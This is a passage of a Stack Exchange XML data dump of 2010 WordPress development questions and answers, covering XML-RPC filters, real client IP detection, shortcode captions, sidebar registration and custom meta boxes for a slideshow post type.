  <row Id="1769" PostTypeId="2" ParentId="1567" CreationDate="2010-09-13T19:24:19.217" Score="5" ViewCount="" Body="&lt;h2&gt;Remove XML-RPC when not in use for performance boost&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress uses a CURL operation to test for SSL capability for XML-RPC.  If you're using XML-RPC but not using, then you can remove the filter.  This is a small performance boost (since basically WP does a cURL GET on the https url and either 1) gets a denied message, or 2) times out, and it can take upwards of 5 seconds), but in our case it actually prevented a gateway timeout where a proxy was timing out before the cURL GET was timing out rendering XML-RPC unusable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Prevents WordPress from testing ssl capability on domain.com/xmlrpc.php?rsd&#xA;remove_filter('atom_service_url','atom_service_url_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="839" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:29:14.813" LastActivityDate="2011-01-26T14:29:14.813" CommunityOwnedDate="2010-09-13T19:24:19.217" CommentCount="2" />
  <row Id="1770" PostTypeId="1" CreationDate="2010-09-13T20:17:54.087" Score="0" ViewCount="270" Body="&lt;p&gt;I added a page to my site, and suddenly the home page seems to be redirecting to that page (that is, if you go to jesseliberty.com, which should bring you to the home page, you are redirected to jesseliberty.com/newPage (the page I created).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combat this, I've added a 301 redirect from jesseliberty.com/foo to jesseliberty.com/2010 which shows all the posts from this year, but is not, by any means, the right thing, and will truly fail in January.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what caused this or what I can do about it?  There is nothing obvious in .htaccess  &lt;/p&gt;&#xA;" LastActivityDate="2010-10-22T22:51:40.233" Title="Home page is redirecting to another page - no obvious reason" Tags="&lt;admin&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="1771" PostTypeId="2" ParentId="1756" CreationDate="2010-09-13T20:55:05.333" Score="1" ViewCount="" Body="&lt;p&gt;Just for future reference, this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1416/correct-search-replace-queries-for-changing-urls-in-a-wordpress-database&quot;&gt;post on SQL queries&lt;/a&gt; could be helpful to some folks.&#xA;There is also a &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;commercial product from iThemes&lt;/a&gt; that might be useful, especially if you're going to do this kind of move regularly.&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-09-13T20:55:05.333" />
  <row Id="1772" PostTypeId="2" ParentId="1567" CreationDate="2010-09-13T21:23:32.520" Score="2" ViewCount="" Body="&lt;h2&gt;Get the Users Real IP Address whenever possible&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a proxy or load balancer, adding this to your wp-config.php file or functions.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Gets the user's real IP address&#xA;&#xA;$_SERVER['REMOTE_ADDR'] = getRealIpAddress();&#xA;function getRealIpAddress( $validate = true ) {&#xA;    if ( isset($_SERVER['HTTP_X_FORWARDED_FOR']) &amp;amp;&amp;amp; !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ) {&#xA;        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);&#xA;        $ip = trim($ips[count($ips) - 1]);&#xA;    } elseif ( isset($_SERVER['HTTP_X_REAL_IP']) &amp;amp;&amp;amp; !empty($_SERVER['HTTP_X_REAL_IP']) ) {&#xA;        $ip = $_SERVER['HTTP_X_REAL_IP'];&#xA;    } elseif ( isset($_SERVER['HTTP_CLIENT_IP']) &amp;amp;&amp;amp; !empty($_SERVER['HTTP_CLIENT_IP']) ) {&#xA;        $ip = $_SERVER['HTTP_CLIENT_IP'];&#xA;    } else {&#xA;        $ip = $_SERVER['REMOTE_ADDR'];&#xA;    }&#xA;&#xA;    if ( $validate &amp;amp;&amp;amp; function_exists('filter_var') &amp;amp;&amp;amp;  filter_var($ip, FILTER_VALIDATE_IP, array('flags' =&amp;gt; FILTER_FLAG_IPV4, FILTER_FLAG_NO_PRIV_RANGE, FILTER_FLAG_NO_RES_RANGE)) )&#xA;        return $ip;&#xA;    elseif ( $validate )&#xA;        return long2ip(ip2long($ip));&#xA;&#xA;    return $ip;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="839" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:31:15.917" LastActivityDate="2011-01-26T14:31:15.917" CommunityOwnedDate="2010-09-13T21:23:32.520" CommentCount="3" />
  <row Id="1773" PostTypeId="2" ParentId="1736" CreationDate="2010-09-13T22:18:31.233" Score="1" ViewCount="" Body="&lt;p&gt;I'd use the &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager&lt;/a&gt; or check out roles and capabilities in codex in order to do this.&lt;/p&gt;&#xA;" OwnerUserId="870" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-04T18:05:09.937" LastActivityDate="2010-11-04T18:05:09.937" CommentCount="0" />
  <row Id="1774" PostTypeId="1" AcceptedAnswerId="1787" CreationDate="2010-09-13T22:21:49.167" Score="0" ViewCount="346" Body="&lt;p&gt;I want to disable shortcode captions for posts in one of my themes, and display the content elsewhere, such as in a sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images aren't uploaded to wordpress, but they're linked-to using the post editor's add an image -&gt; from URL functionality resulting in the following shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[caption id=&quot;&quot; align=&quot;alignnone&quot; width=&quot;300&quot; caption=&quot;Leonard Nimoy has done far more thing than just play Mr. Spock&quot;]&amp;lt;a href=&quot;http://example.com/nimoy&quot;&amp;gt;&amp;lt;img src=&quot;http://example.com/uploads/nimoy.jpg&quot; alt=&quot;Leonard Nimoy in a black suit&quot; title=&quot;Leonard Nimoy&quot; width=&quot;300&quot; height=&quot;228&quot; /&amp;gt;&amp;lt;/a&amp;gt;[/caption]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm assuming using a filter on &lt;code&gt;img_caption_shortcode&lt;/code&gt; somehow, but I don't know if that's the way to approach this.&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-15T14:43:49.523" LastActivityDate="2010-09-15T14:43:49.523" Title="How to display a shortcode caption somewhere other than the_content" Tags="&lt;images&gt;&lt;attachments&gt;&lt;captions&gt;&lt;shortcode&gt;&lt;filters&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1775" PostTypeId="1" AcceptedAnswerId="1789" CreationDate="2010-09-13T22:34:58.027" Score="1" ViewCount="103" Body="&lt;p&gt;I use the get_page_children() function to create a sub_nav for a designer client I do work for. She uses the Spry Assets flyout JS that DreamWeaver creates, so I have to manually do the menus like this rather than use the new menus functionality in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had them all set up and working perfectly, and then my client upgraded to 3.0.1 and somehow she says that broke them. I'm not sure if it happened then or if it was something else that caused the break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed down the problem. The Codex says you need to get a list of all page objects to use for this function. You use a &quot;query&quot; function I've never seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page_children&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_page_children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_wp_query = new WP_Query();&#xA;$all_wp_pages = $my_wp_query-&amp;gt;query(array('post_type' =&amp;gt; 'page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those 2 lines should generate an array of all of your page objects that is usable by get_page_children() later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's not working anymore because $all_wp_pages &lt;em&gt;ISN'T&lt;/em&gt; all of my pages. I have 38 pages on this site, and when I do an output of the $all_wp_pages array, I only get 10 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea why that would be happening? The 10 pages that do show up all happen to be ONE page and its children. But they show up no matter what page you're on. It's really bizarre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-11-23T11:19:17.177" Title="I'm having a lot of trouble since upgrade to 3.0.1 with get_page_children() function" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="1777" PostTypeId="1" AcceptedAnswerId="1790" CreationDate="2010-09-13T23:43:25.680" Score="5" ViewCount="212" Body="&lt;p&gt;In regards to my previous &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1774/how-to-display-a-shortcode-caption-somewhere-other-than-the-content&quot;&gt;question about shortcode captions&lt;/a&gt;, it doesn't appear to me that the actual text of a caption is stored anywhere other than in the post content within the shortcode itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have thought that &lt;code&gt;wp_get_attachment_metadata&lt;/code&gt; would store the info for an attachment, but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong? Or does WordPress not store the actual caption anywhere?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-15T14:47:16.243" LastActivityDate="2011-06-20T17:31:37.157" Title="Are captions stored anywhere?" Tags="&lt;attachments&gt;&lt;captions&gt;&lt;post-type&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1778" PostTypeId="1" AcceptedAnswerId="1812" CreationDate="2010-09-14T00:27:04.577" Score="2" ViewCount="210" Body="&lt;p&gt;I want to create a sub config from some page on admin panel, eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set config menu this way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'E+', 'CRE+', 8, 'cr_e_plus_user_config', 'cr_e_plus_user_config');&#xA;add_submenu_page( 'cr_e_plus_user_config', 'E+', 'Configurations', 8, 'cr_e_plus_user_config', 'cr_e_plus_user_config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;Configurations&lt;/code&gt; page, I need to load another page when I click certain link. Now, I don't want this new page to be listed on menu, because it will need certain parameter before I can show it.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-09-14T17:35:32.910" Title="Admin config screen without menu" Tags="&lt;plugin-development&gt;&lt;admin&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1779" PostTypeId="1" AcceptedAnswerId="3822" CreationDate="2010-09-14T01:29:29.077" Score="2" ViewCount="386" Body="&lt;p&gt;I have come across an interesting problem regarding the &lt;code&gt;get_template_part()&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a theme options page (named sitewideSettings.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;normally I would include this in functions.php like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(TEMPLATEPATH.&quot;sitewideSettings.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I am trying to use &lt;code&gt;get_template_part();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part('sitewideSettings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is also working fine except that when clicking 'update' to update the settings I get an error message: &quot;Are you sure you want to do this? Please try again&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Please try again&quot; links back to the theme options page and clicking update takes you back to the error message which takes you back to Theme options and round and round we go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing else has changed other than the use of &lt;code&gt;get_template_part();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else come across this problem? How did you get around it? I am sure its something simple and obvious, but exactly what it is totally escapes me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Its not a nonce issue as a nonce is created in both instances)&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T17:14:12.167" LastActivityDate="2010-11-16T17:14:12.167" Title="Form Submitting Error with get_template_part()" Tags="&lt;theme-development&gt;&lt;wp-admin&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="1780" PostTypeId="1" AcceptedAnswerId="1793" CreationDate="2010-09-14T02:55:09.387" Score="1" ViewCount="163" Body="&lt;p&gt;In my current theme version, I'm registering sidebars with names. However, in previous versions, I only had one sidebar and registered it without a name like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;menu side %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now in my updated theme, I register several sidebars and give them all a name. However, when I update the old theme to the latest version, the sidebar widget that was registered without a name is seemingly getting arbitrarily assigned to one of the new &quot;named&quot; sidebars, but not the one I need it to. I need that unmamed sidebar widget to be reassigned to the one named &quot;Sidebar&quot; in the updated theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my new sidebar registrations...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Featured_Home',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;featured-home&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Featured_Inside',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;featured-inside&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;', &#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Featured_Category',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;featured-category&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;menu side %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Home_PreFooter',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;footer-pre-home&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Inside_PreFooter',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div class=&quot;footer-pre-inside&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;    )); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-14T07:40:21.077" Title="Sidebar Widget Registration without a name, how is it assigned to new named sidebar widget?" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1781" PostTypeId="2" ParentId="1320" CreationDate="2010-09-14T04:40:52.607" Score="0" ViewCount="" Body="&lt;p&gt;I have recently needed to address a very similar problem while working within a theme.  The basis of the code was from this &lt;a href=&quot;http://devaldez.com/how-to-make-wp-custom-fields-better/&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; and I had modified some of the code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is the first portion of the code I had modified.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action('init', 'limited_post_type');&#xA;function my_custom_limited_post_type() &#xA;{&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Limited Post Type', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Film - DVD', 'post type singular name')&#xA;  );&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt', 'page-attributes','custom-fields' ),&#xA;    'show_in_nav_menus' =&amp;gt; true&#xA;  ); &#xA;  register_post_type('limited_post_type', $args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following is the second portion of the code I had modified.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $scope as $scopeItem ) {&#xA;       switch ( $scopeItem ) {&#xA;           case &quot;post&quot;: {&#xA;             // Output on any post screen&#xA;             if ( basename( $_SERVER['SCRIPT_FILENAME'] )==&quot;post-new.php&quot; || $post-&amp;gt;post_type==&quot;post&quot; )&#xA;             $output = true;&#xA;             break;}              &#xA;            case &quot;page&quot;: {&#xA;                  // Output on any page screen&#xA;                  if ( basename( $_SERVER['SCRIPT_FILENAME'] )==&quot;page-new.php&quot; || $post-&amp;gt;post_type==&quot;page&quot; )&#xA;            $output = true;&#xA;            break;}&#xA;             case &quot;limited_post_type&quot;: {&#xA;                                // Output on limited post_type onlye&#xA;            if ((basename( $_SERVER['SCRIPT_FILENAME'] )==&quot;post-new.php&quot; &amp;amp;&amp;amp; $post-&amp;gt;post_type==&quot;limited_post_type&quot; ) || (basename( $_SERVER['SCRIPT_FILENAME'] )==&quot;post.php&quot; &amp;amp;&amp;amp; $post-&amp;gt;post_type==&quot;film_dvd&quot; ))&#xA;                   $output = true;&#xA;                   break;&#xA;                  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you like please send me a message and I will gladly send you my functions.php file for your reference.  This is definitely the way to make it happen though as I went through many nights of hair pulling as yourself.&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-15T15:43:51.903" LastActivityDate="2010-09-15T15:43:51.903" />
  <row Id="1783" PostTypeId="1" AcceptedAnswerId="2293" CreationDate="2010-09-14T05:54:32.083" Score="7" ViewCount="1361" Body="&lt;p&gt;I need to create a custom post meta box(es) for my custom post type &quot;Slideshow&quot; (this post type is already created).  Each metabox will hold the content in each slide slide and save it to corresponding custom fields.  Each metabox should contain the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title (Text Field)&lt;/li&gt;&#xA;&lt;li&gt;Image (Either a Text Field for the img URL or ideally a Dropdown List showing thumbnails of the images attached attached to the post)&lt;/li&gt;&#xA;&lt;li&gt;Embed Code (Text Area)&lt;/li&gt;&#xA;&lt;li&gt;Description (wysiwyg)&lt;/li&gt;&#xA;&lt;li&gt;Hide the Slide (Checkbox to use to temporarily hide a slide without deleting it)&lt;/li&gt;&#xA;&lt;li&gt;Delete Slide (button that deletes the contents of the post meta fields that were filled in by this slide)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would also like a button somewhere that allows me to &quot;Add a slide&quot; so when it is clicked, it adds another &quot;Slide&quot; Custom Meta Box which is a duplicate of the first but adds an incremental number to each custom post meta field.  I currently just have 15 metaboxes and the Slideshow template is set up in a way that if only 5 of the metaboxes are filled in then only 5 slides display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I'd like to be able to re-order the slides, whether by &quot;Drag and Drop&quot; or by another Text Field that I can type the order number in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten it almost where I need it with the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;&quot;More Fields&quot; plugin&lt;/a&gt; and some code help from Rarst.  With the &quot;More Fields&quot; plugin I have the following fields in each metabox:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title (Text Field)&lt;/li&gt;&#xA;&lt;li&gt;Image (A dropdown list of the images attached to the post)&lt;/li&gt;&#xA;&lt;li&gt;Embed Code (Text Area)&lt;/li&gt;&#xA;&lt;li&gt;Description (wysiwyg)&lt;/li&gt;&#xA;&lt;li&gt;Hide the Slide (Checkbox to use to temporarily hide a slide without deleting it)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of how I have it setup through the &quot;More Fields&quot; plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7kjHX.jpg&quot; alt=&quot;alt text&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that there is no way to delete a slide once it is made because &quot;More Fields&quot; doesn't use &lt;code&gt;&amp;lt;?php delete_post_meta($post_id, $key, $value); ?&amp;gt;&lt;/code&gt; anywhere.  The other problem with the plugin is that it is too unreliable and breaks frequently with updates.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to implement a similar solution with my own custom metaboxes that includes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title (Text Field)&lt;/li&gt;&#xA;&lt;li&gt;Image (Text Field for the img URL)&lt;/li&gt;&#xA;&lt;li&gt;Embed Code (Text Area)&lt;/li&gt;&#xA;&lt;li&gt;Description (Text Area)&lt;/li&gt;&#xA;&lt;li&gt;Hide the Slide (Checkbox to use to temporarily hide a slide without deleting it)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With this implementation I can't seem to get the multiple TinyMCE fields to work or the image dropdown box. The TinyMCE code seems to work until I add the code that create incremental copies of the first metabox at which point I get this error right above the field where the TinyMCE buttons should be: &lt;code&gt;Warning: array_push() [function.array-push]: First argument should be an array...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, right now I am relying on my writers to know to put in EITHER a video or an image for each slide and that's ok but it may be better to have a radio button that lets them choose which one the slide is (probably default to image) which is tied to a conditional display statement in the slideshow template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am handling image uploads via the built-in &quot;Featured Image&quot; box in the sidebar although I wouldn't mind a custom metabox that simply said &quot;Upload Images&quot; at the top of the write panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I am looking for a slideshow similar to this: &lt;a href=&quot;http://www.nytimes.com/slideshow/2010/08/10/science/20100810angier-1.html&quot; rel=&quot;nofollow&quot;&gt;http://www.nytimes.com/slideshow/2010/08/10/science/20100810angier-1.html&lt;/a&gt;.  I want mine to also be able to have a video as the content in the slide instead of a picture.  I need an intuative and easy to use Admin panel for my writers (they are not very tech savvy and not reliable using html and/or shortcodes).  Just in case it's not clear from the example, every slide should generate a new pageview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Drag'n'Drop reordering isn't a high priority but it would be cool.  I found a plugin that handles this really well: &lt;a href=&quot;http://wordpress.org/extend/plugins/slidedeck-lite-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;SlideDeck&lt;/a&gt;.  Unfortunately the plugin doesn't suit my needs but the way they handle ordering of the slides is pretty slick.  It's a seperate metabox in the sidebar that lets you drag the slides around into the order you like.  This is also how you add slides, by clicking on an &quot;Add Slide&quot; button which adds another Slide Metabox to the write panel.  Here is a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HLfvH.jpg&quot; alt=&quot;alt text&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see &lt;a href=&quot;http://wordpress.org/extend/plugins/slidedeck-lite-for-wordpress/screenshots/&quot; rel=&quot;nofollow&quot;&gt;more screenshots of it in action in the wordpress repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is all my code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functions setting up my Slideshow Post Type and Slideshow Pagination:&#xA;&lt;a href=&quot;http://loak.pastebin.com/g63Gf186&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/g63Gf186&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original code from &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;DeluxeBloggingTips.com&lt;/a&gt; (DBT) that I based my Metaboxes off of:&#xA;&lt;a href=&quot;http://loak.pastebin.com/u9YTQrxf&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/u9YTQrxf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version of the DBT code that I modified to give me incremental versions of the same metabox:&#xA;&lt;a href=&quot;http://loak.pastebin.com/WtxGdPrN&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/WtxGdPrN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A modified version of the DBT code that &lt;a href=&quot;http://chrisburbridge.com/?attachment_id=316&quot; rel=&quot;nofollow&quot;&gt;Chris Burbridge&lt;/a&gt; created to allow for multiple instances of TinyMCE:&#xA;&lt;a href=&quot;http://loak.pastebin.com/Mqb3pKhx&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/Mqb3pKhx&lt;/a&gt;&#xA;&lt;em&gt;With this code the TinyMCEs do work.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My modification of Burbridge's code that tries to incorporate my incrementation and a field that lets you choose the image from a dropdown list of all the images attached to the post:&#xA;&lt;a href=&quot;http://loak.pastebin.com/xSuenJTK&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/xSuenJTK&lt;/a&gt;&#xA;&lt;em&gt;In this attempt, the TinyMCE is broken and the dropdown doesn't work.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This probably doesn't matter but just in case you are wondering, here is the code I use to pull the embed code from the custom post meta, resize it, and insert it in the post:&#xA;&lt;a href=&quot;http://loak.pastebin.com/n7pAzEAw&quot; rel=&quot;nofollow&quot;&gt;http://loak.pastebin.com/n7pAzEAw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is an edited version of the original question to reflect the current status of the project and answers the questions posted in the comments.  Thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/251/chris-o&quot;&gt;Chris_O&lt;/a&gt; for putting the bounty on this.  Also, thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/847/rarst&quot;&gt;Rarst&lt;/a&gt; and &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin&lt;/a&gt; for helping me out with a lot of this in the &lt;a href=&quot;http://themehybrid.com/support&quot; rel=&quot;nofollow&quot;&gt;ThemeHybrid.com forum&lt;/a&gt;.  I have spent hours and hours on this and am stuck (I spent a couple hours alone on this Question).  Any help would be greatly appreciated.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-09-22T22:00:53.650" LastActivityDate="2011-07-25T10:23:25.287" Title="Help Creating a Slideshow Custom Post Type with Custom Meta Boxes?" 